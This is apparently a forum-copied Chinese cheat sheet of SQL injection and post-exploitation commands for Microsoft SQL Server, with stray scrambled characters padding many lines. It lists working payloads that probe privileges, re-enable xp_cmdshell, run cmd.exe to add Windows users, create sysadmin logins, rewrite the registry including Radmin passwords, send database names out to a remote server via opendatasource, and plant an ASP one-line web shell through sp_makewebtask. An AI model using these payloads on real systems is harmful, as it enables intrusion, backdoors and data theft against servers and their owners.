阿D常用的一些注入命令! q/ o- n% q7 J" H
//看看是什么权限的$ P# @ b6 q. X- s0 e' K
and 1=(Select IS_MEMBER('db_owner'))
) \( i! ^& b- j/ iAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--$ Q! i2 U3 _4 D& Z: x
; ]! K& s/ V5 m t% Q
//检测是否有读取某数据库的权限
" z6 c+ P! [9 \; U6 E: F# ^7 }9 Iand 1= (Select HAS_DBACCESS('master'))
) g1 E; y+ U9 S2 j" iAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --( Q6 a+ x# L3 ^4 R$ D, k
, ~& w, o* B' O- i2 c( ~3 o9 O4 d! }( ~ }
数字类型
' C: q0 _7 \3 H7 I% O6 Qand char(124)%2Buser%2Bchar(124)=0
! i* {7 J3 C+ R1 b: T5 c
6 [+ \' s! s+ b6 Q" q字符类型
% R7 i; V" X- Q2 j1 M1 g v' and char(124)%2Buser%2Bchar(124)=0 and ''='
) \8 T! }7 `" r$ |! @
( S! c7 E/ U4 V搜索类型% A/ O6 U9 @( |3 W
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
9 j1 U( g' K4 M
) b. I; N7 i0 v) {* i爆用户名0 h- K1 [, R( J5 e7 H- p$ |9 W, Y* f( E M
and user>0$ X- G/ r! s, q/ S: N. x
' and user>0 and ''='/ y% z6 u7 R* Q" k) A/ s. Y
, g# B7 X, w3 n# n# [1 K' f检测是否为SA权限
1 r+ J# ~5 K6 d+ F% l4 Dand 1=(select IS_SRVROLEMEMBER('sysadmin'));--- Q6 Z* X2 {& i- c
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --3 i3 `* @2 y3 \! B2 i' g4 A
& R) C7 A$ H- M; j- Y1 d" o
检测是不是MSSQL数据库
5 b6 ~: l5 p/ e3 u% u" {and exists (select * from sysobjects);--
) K t, w9 v/ D+ {/ ?# D
% p6 Z, r7 N, K: G$ |) g4 S$ I! Y4 ?检测是否支持多行
0 v. x1 D9 v2 X1 c& T4 a% c$ \;declare @d int;-- : R+ @( \) y& b) J
: R! j* J4 C& N) o; P; u恢复 xp_cmdshell
j" U" }: H- v# Z8 O$ [. Q% `! A;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--7 D9 K4 E( i8 p# T% }: W
$ \# N3 B, W6 X8 h* x3 t
) V5 u; Q2 k* |9 nselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') ! m- s! Q/ u% G0 c
' m. f9 X$ |1 h+ G2 g Z. v: w//-----------------------
: U! g% c+ ` S: F! c, s: n* I1 h8 B// 执行命令4 J4 E( l+ g& [8 t9 R) ~
//-----------------------
# ~: b$ P) |/ \6 w首先开启沙盘模式:
8 B9 q8 b {! a0 W: Wexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
- a, w6 L9 L; a7 N6 j) i2 M8 p) D4 g; S% L; N
然后利用jet.oledb执行系统命令
" r9 A+ n4 h" Z4 n$ E3 h; \select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')8 X! h! g" w4 k# P* W5 C3 i/ O: r
8 A* f! L, j, g执行命令' L* C, d( n9 K8 i% {2 K; N6 j
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--* R( |% m+ `, j
2 h$ \4 C) m1 x0 ~; C1 I8 g+ ~EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
- f5 ]# f+ Z: _
8 ~3 F- X/ `! M判断xp_cmdshell扩展存储过程是否存在:
$ C) p+ D% ?9 P/ P- D( q/ C! z) ohttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')9 K# ~/ I0 N: T; Z
& f# J0 T4 @$ I/ j7 |1 c% x
写注册表
" @2 x4 W* g& h# ~' l! eexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1- J U" o7 ^8 V! y! P
9 c! G0 g8 `6 ?/ X) L" K
REG_SZ: \$ G& C. K0 q4 O# u9 T
, v- P+ p6 m4 }' ?读注册表
9 Z& F, B( B% y7 W3 Kexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
! O- n9 ~+ N2 A8 H0 B! X- F2 ^ R# t9 ~% j
读取目录内容
6 I7 L5 d J. A5 \* W) Oexec master..xp_dirtree 'c:\winnt\system32\',1,1
) G/ m6 T, D6 b" _# S# B+ P4 x7 Z% o; l# j
8 S5 _. ^# \- d1 u w- F) r7 b数据库备份
) c7 R6 p, o3 [" j1 |# Obackup database pubs to disk = 'c:\123.bak'
1 p& [! P& H5 G. M$ n
( ] p, u u" g//爆出长度
6 M: t/ ?5 ]. Z wAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
$ ?5 K: f* j ?0 ~9 q) M2 Y3 d
( b! ~, q: x; s9 Q) k1 {2 L
: N/ b/ _0 [) `# f4 B) T
$ q N5 X2 n; }0 I更改sa口令方法:用sql综合利用工具连接后,执行命令:3 p, I5 F$ b3 j! G+ ?% y
exec sp_password NULL,'新密码','sa' O c, h" m! x2 z
7 K" @! K8 G/ g% X* E1 u- l, r
添加和删除一个SA权限的用户test:$ C4 W, w$ L) \' y
exec master.dbo.sp_addlogin test,ptlove7 o* G- ?6 a. D6 ]/ @# Y" t! j
exec master.dbo.sp_addsrvrolemember test,sysadmin
. U0 R& p( h# M% F- d' A5 N K
* {& c! H! K* r* G1 X删除扩展存储过过程xp_cmdshell的语句:
: |* r# u3 u0 |! k9 oexec sp_dropextendedproc 'xp_cmdshell'
0 ~) V5 R$ Y- o- ?" v6 n7 l' j( w+ |( J j$ R( ^
添加扩展存储过过程
4 G1 _, c) O x( B E4 lEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' / ?1 s) g) ^0 Y p& b% G! C9 w5 R3 ~
GRANT exec On xp_proxiedadata TO public
4 |3 i( R w' B4 X/ r" r$ ]5 r1 A4 s/ v1 A
7 G) M0 c/ O# j+ I; A
停掉或激活某个服务。
$ `; S# r% G. m4 y6 t7 F% V& O, O; Y! ?- B
exec master..xp_servicecontrol 'stop','schedule' o0 j5 Q. y, g) U2 Q2 S
exec master..xp_servicecontrol 'start','schedule'
0 H; _& V1 S5 V0 E" ~" i
% ~, P5 V! n" }, V* ^dbo.xp_subdirs* i+ D8 B: c/ n1 m) g! Q
: I( {7 D) M& q3 Y( h
只列某个目录下的子目录。
7 [! x+ j, v9 H3 @: h7 l! ~xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
2 K5 f- M* c7 w" J) u& a- }. n; |$ j
! G5 Y/ j0 E6 ^$ B! v; f2 Zdbo.xp_makecab
2 C' O, S& A; ]7 G
9 V! Y9 M7 M) U6 O. N- b将目标多个档案压缩到某个目标档案之内。5 e" }6 b9 ?4 O2 g' e$ ^
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。! u1 L$ a' l. j0 |- ]: w
& }& z( {3 n* P. o/ t2 U$ o& sdbo.xp_makecab# U1 ^) \) P; O1 a
'c:\test.cab','mszip',1,) }$ l v) R; k. s* o$ u; f0 C; M. _
'C:\Inetpub\wwwroot\SQLInject\login.asp',
) W' w2 C7 e% {. f0 k( c4 J& ~0 |'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'4 s0 `" B9 u0 V$ a' Q
7 z3 z8 ^, f* x7 `4 D& ^xp_terminate_process* y, |0 A/ J. i6 f
6 s: b- O& m( G: |) A6 [. w' R停掉某个执行中的程序,但赋予的参数是 Process ID。
" n! H' y: @: z4 e& |& M利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
* N% Y' I \3 j9 ?" a2 N: |8 p
9 b- U; n9 g. `, A# lxp_terminate_process 2484
5 V6 `) y# a1 {! M5 p+ W1 ~* e0 l9 \0 w+ `
xp_unpackcab# T2 d9 m9 L: i8 O3 F$ A% V
- v. p$ M) p" q r( k; z
解开压缩档。
3 Y, j" p' o" z
% @- x4 \5 y6 k) q. K D! Yxp_unpackcab 'c:\test.cab','c:\temp',14 ^4 P# a4 e1 t3 k5 Y
; Q6 F8 o! q* P5 c7 g. L; x
h p7 \4 _' z7 v3 P4 G6 ]. B1 w某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12342 r L/ z: K7 \) E7 s
. K \) y' b7 f3 Z- V5 t) ?
create database lcx;
+ e2 J$ ^7 ~4 _7 L/ ]Create TABLE ku(name nvarchar(256) null);2 S q+ J! X, }; \9 L/ t6 J
Create TABLE biao(id int NULL,name nvarchar(256) null);
4 y+ |- [. E, L5 d1 s! x; N; b. l. P9 k# _+ I" d
//得到数据库名; R' Q) L; @& m! A# j6 L
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
5 t! ^' G) U6 D9 O* b6 i H0 F# h0 E G* O
" _( F/ N' H3 u* X" Y$ n# y' @0 Q: y//在Master中创建表,看看权限怎样; o" y3 w1 E2 N
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--9 F% h* Q- e* p7 A
7 ^) R i, p5 I" {) m/ Y
用 sp_makewebtask直接在web目录里写入一句话马:
4 g- s* I8 ]' B- P- r% Shttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
% p: p( T6 V9 ~+ E2 v0 e4 y9 B; z+ Y& `8 \$ h& v
//更新表内容4 D$ `5 B" `- E4 @! _7 M' S
Update films SET kind = 'Dramatic' Where id = 1233 a4 w; ?2 V2 |3 v' I: V- O
2 A8 W5 K* N$ M+ B
//删除内容4 Y0 W* ]) S1 ^) O3 Q
delete from table_name where Stockid = 3 |